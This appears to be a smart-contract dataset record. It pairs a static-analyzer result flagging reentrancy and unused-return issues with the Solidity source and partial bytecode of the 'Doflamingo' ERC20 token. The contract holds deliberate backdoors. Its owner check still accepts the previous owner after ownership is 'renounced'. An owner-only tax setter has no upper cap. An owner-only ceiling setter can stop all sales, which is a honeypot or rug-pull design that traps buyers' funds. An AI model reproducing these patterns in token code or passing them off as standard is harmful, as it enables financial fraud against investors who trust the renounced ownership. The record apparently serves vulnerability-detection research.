b96ce26d6ac0510e0bc1ea011c6e022157b1f7651752216764736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
536
0x9b38fa2c6fbe550f7a21462b76ce31c78dab8557
// SPDX-License-Identifier: MIT // Telegram: t.me/doflamingotoken pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() || _previousOwner==_msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _previousOwner=_owner; _owner = address(0xdead); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DoFlamingo is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate=6; address payable private _taxWallet; string private constant _name = "Doflamingo"; string private constant _symbol = "DOFLAMINGO"; uint8 private constant _decimals = 0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _ceil = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x96B8a0E268DdCBe9eB5D5dEE787e5C1e93A5B907); _rOwned[_msgSender()] = _rTotal; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0 ,"Rate must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router)) { require(amount <= _ceil); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _ceil = _tTotal ; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setCeiling(uint256 ceil) external onlyOwner { _ceil = ceil; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b146102695780638f02cf971461029457806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612110565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121cb565b6103f6565b6040516101629190612226565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612250565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b8919061226b565b61041e565b6040516101ca9190612226565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f591906122da565b60405180910390f35b34801561020a57600080fd5b506102136104fc565b005b34801561022157600080fd5b5061023c600480360381019061023791906122f5565b610576565b6040516102499190612250565b60405180910390f35b34801561025e57600080fd5b506102676105c7565b005b34801561027557600080fd5b5061027e6107dc565b60405161028b9190612331565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b6919061234c565b610805565b005b3480156102c957600080fd5b506102d2610903565b6040516102df9190612110565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906121cb565b610940565b60405161031c9190612226565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061234c565b61095e565b005b34801561035a57600080fd5b50610363610aa0565b005b34801561037157600080fd5b5061038c60048036038101906103879190612379565b61101c565b6040516103999190612250565b60405180910390f35b3480156103ae57600080fd5b506103b76110a3565b005b60606040518060400160405280600a81526020017f446f666c616d696e676f00000000000000000000000000000000000000000000815250905090565b600061040a610403611115565b848461111d565b6001905092915050565b6000600554905090565b600061042b8484846112e8565b6104ec84610437611115565b6104e785604051806060016040528060288152602001612e4c60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d611115565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116109092919063ffffffff16565b61111d565b600190509392505050565b600090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053d611115565b73ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b600061056830610576565b905061057381611674565b50565b60006105c0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fc565b9050919050565b6105cf611115565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067c575061062b611115565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6106bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b290612405565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61080d611115565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108ba5750610869611115565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090612405565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600a81526020017f444f464c414d494e474f00000000000000000000000000000000000000000000815250905090565b600061095461094d611115565b84846112e8565b6001905092915050565b610966611115565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a1357506109c2611115565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612405565b60405180910390fd5b6000811015610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90612471565b60405180910390fd5b8060088190555050565b610aa8611115565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610b555750610b04611115565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90612405565b60405180910390fd5b600b60149054906101000a900460ff1615610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb906124dd565b60405180910390fd5b610c1330600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055461111d565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7b57600080fd5b505afa158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb39190612512565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3757600080fd5b505afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f9190612512565b6040518363ffffffff1660e01b8152600401610d8c92919061253f565b602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190612512565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e6730610576565b600080610e726107dc565b426040518863ffffffff1660e01b8152600401610e94969594939291906125ad565b6060604051808303818588803b158015610ead57600080fd5b505af1158015610ec1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee69190612623565b5050506001600b60166101000a81548160ff021916908315150217905550600554600c819055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fc7929190612676565b602060405180830381600087803b158015610fe157600080fd5b505af1158015610ff5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101991906126cb565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e4611115565b73ffffffffffffffffffffffffffffffffffffffff161461110457600080fd5b60004790506111128161196a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111849061276a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f4906127fc565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112db9190612250565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f9061288e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf90612920565b60405180910390fd5b6000811161140b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611402906129b2565b60405180910390fd5b6114136107dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148157506114516107dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160057600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156115315750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561154657600c5481111561154557600080fd5b5b600061155130610576565b9050600b60159054906101000a900460ff161580156115be5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115d65750600b60169054906101000a900460ff165b156115fe576115e481611674565b600047905060008111156115fc576115fb4761196a565b5b505b505b61160b8383836119d6565b505050565b6000838311158290611658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164f9190612110565b60405180910390fd5b50600083856116679190612a01565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116ac576116ab612a35565b5b6040519080825280602002602001820160405280156116da5781602001602082028036833780820191505090505b50905030816000815181106116f2576116f1612a64565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179457600080fd5b505afa1580156117a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cc9190612512565b816001815181106117e0576117df612a64565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061184730600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461111d565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118ab959493929190612b51565b600060405180830381600087803b1580156118c557600080fd5b505af11580156118d9573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600654821115611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a90612c1d565b60405180910390fd5b600061194d6119e6565b90506119628184611a1190919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119d2573d6000803e3d6000fd5b5050565b6119e1838383611a5b565b505050565b60008060006119f3611c26565b91509150611a0a8183611a1190919063ffffffff16565b9250505090565b6000611a5383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c73565b905092915050565b600080600080600080611a6d87611cd6565b955095509550955095509550611acb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bac81611de6565b611bb68483611ea3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c139190612250565b60405180910390a3505050505050505050565b6000806000600654905060006005549050611c4e600554600654611a1190919063ffffffff16565b821015611c6657600654600554935093505050611c6f565b81819350935050505b9091565b60008083118290611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb19190612110565b60405180910390fd5b5060008385611cc99190612c6c565b9050809150509392505050565b6000806000806000806000806000611cf38a600854600854611edd565b9250925092506000611d036119e6565b90506000806000611d168e878787611f73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611d8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611610565b905092915050565b6000808284611d979190612c9d565b905083811015611ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd390612d3f565b60405180910390fd5b8091505092915050565b6000611df06119e6565b90506000611e078284611ffc90919063ffffffff16565b9050611e5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611eb882600654611d3e90919063ffffffff16565b600681905550611ed381600754611d8890919063ffffffff16565b6007819055505050565b600080600080611f096064611efb888a611ffc90919063ffffffff16565b611a1190919063ffffffff16565b90506000611f336064611f25888b611ffc90919063ffffffff16565b611a1190919063ffffffff16565b90506000611f5c82611f4e858c611d3e90919063ffffffff16565b611d3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611f8c8589611ffc90919063ffffffff16565b90506000611fa38689611ffc90919063ffffffff16565b90506000611fba8789611ffc90919063ffffffff16565b90506000611fe382611fd58587611d3e90919063ffffffff16565b611d3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561200f5760009050612071565b6000828461201d9190612d5f565b905082848261202c9190612c6c565b1461206c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206390612e2b565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120b1578082015181840152602081019050612096565b838111156120c0576000848401525b50505050565b6000601f19601f8301169050919050565b60006120e282612077565b6120ec8185612082565b93506120fc818560208601612093565b612105816120c6565b840191505092915050565b6000602082019050818103600083015261212a81846120d7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061216282612137565b9050919050565b61217281612157565b811461217d57600080fd5b50565b60008135905061218f81612169565b92915050565b6000819050919050565b6121a881612195565b81146121b357600080fd5b50565b6000813590506121c58161219f565b92915050565b600080604083850312156121e2576121e1612132565b5b60006121f085828601612180565b9250506020612201858286016121b6565b9150509250929050565b60008115159050919050565b6122208161220b565b82525050565b600060208201905061223b6000830184612217565b92915050565b61224a81612195565b82525050565b60006020820190506122656000830184612241565b92915050565b60008060006060848603121561228457612283612132565b5b600061229286828701612180565b93505060206122a386828701612180565b92505060406122b4868287016121b6565b9150509250925092565b600060ff82169050919050565b6122d4816122be565b82525050565b60006020820190506122ef60008301846122cb565b92915050565b60006020828403121561230b5761230a612132565b5b600061231984828501612180565b91505092915050565b61232b81612157565b82525050565b60006020820190506123466000830184612322565b92915050565b60006020828403121561236257612361612132565b5b6000612370848285016121b6565b91505092915050565b600080604083850312156123905761238f612132565b5b600061239e85828601612180565b92505060206123af85828601612180565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123ef602083612082565b91506123fa826123b9565b602082019050919050565b6000602082019050818103600083015261241e816123e2565b9050919050565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b600061245b601983612082565b915061246682612425565b602082019050919050565b6000602082019050818103600083015261248a8161244e565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006124c7601783612082565b91506124d282612491565b602082019050919050565b600060208201905081810360008301526124f6816124ba565b9050919050565b60008151905061250c81612169565b92915050565b60006020828403121561252857612527612132565b5b6000612536848285016124fd565b91505092915050565b60006040820190506125546000830185612322565b6125616020830184612322565b9392505050565b6000819050919050565b6000819050919050565b600061259761259261258d84612568565b612572565b612195565b9050919050565b6125a78161257c565b82525050565b600060c0820190506125c26000830189612322565b6125cf6020830188612241565b6125dc604083018761259e565b6125e9606083018661259e565b6125f66080830185612322565b61260360a0830184612241565b979650505050505050565b60008151905061261d8161219f565b92915050565b60008060006060848603121561263c5761263b612132565b5b600061264a8682870161260e565b935050602061265b8682870161260e565b925050604061266c8682870161260e565b9150509250925092565b600060408201905061268b6000830185612322565b6126986020830184612241565b9392505050565b6126a88161220b565b81146126b357600080fd5b50565b6000815190506126c58161269f565b92915050565b6000602082840312156126e1576126e0612132565b5b60006126ef848285016126b6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612754602483612082565b915061275f826126f8565b604082019050919050565b6000602082019050818103600083015261278381612747565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127e6602283612082565b91506127f18261278a565b604082019050919050565b60006020820190508181036000830152612815816127d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612878602583612082565b91506128838261281c565b604082019050919050565b600060208201905081810360008301526128a78161286b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061290a602383612082565b9150612915826128ae565b604082019050919050565b60006020820190508181036000830152612939816128fd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061299c602983612082565b91506129a782612940565b604082019050919050565b600060208201905081810360008301526129cb8161298f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a0c82612195565b9150612a1783612195565b925082821015612a2a57612a296129d2565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612ac881612157565b82525050565b6000612ada8383612abf565b60208301905092915050565b6000602082019050919050565b6000612afe82612a93565b612b088185612a9e565b9350612b1383612aaf565b8060005b83811015612b44578151612b2b8882612ace565b9750612b3683612ae6565b925050600181019050612b17565b5085935050505092915050565b600060a082019050612b666000830188612241565b612b73602083018761259e565b8181036040830152612b858186612af3565b9050612b946060830185612322565b612ba16080830184612241565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612c07602a83612082565b9150612c1282612bab565b604082019050919050565b60006020820190508181036000830152612c3681612bfa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c7782612195565b9150612c8283612195565b925082612c9257612c91612c3d565b5b828204905092915050565b6000612ca882612195565b9150612cb383612195565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ce857612ce76129d2565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612d29601b83612082565b9150612d3482612cf3565b602082019050919050565b60006020820190508181036000830152612d5881612d1c565b9050919050565b6000612d6a82612195565b9150612d7583612195565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612dae57612dad6129d2565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e15602183612082565b9150612e2082612db9565b604082019050919050565b60006020820190508181036000830152612e4481612e08565b905091905056fe45524332303a207472616e7366657220616d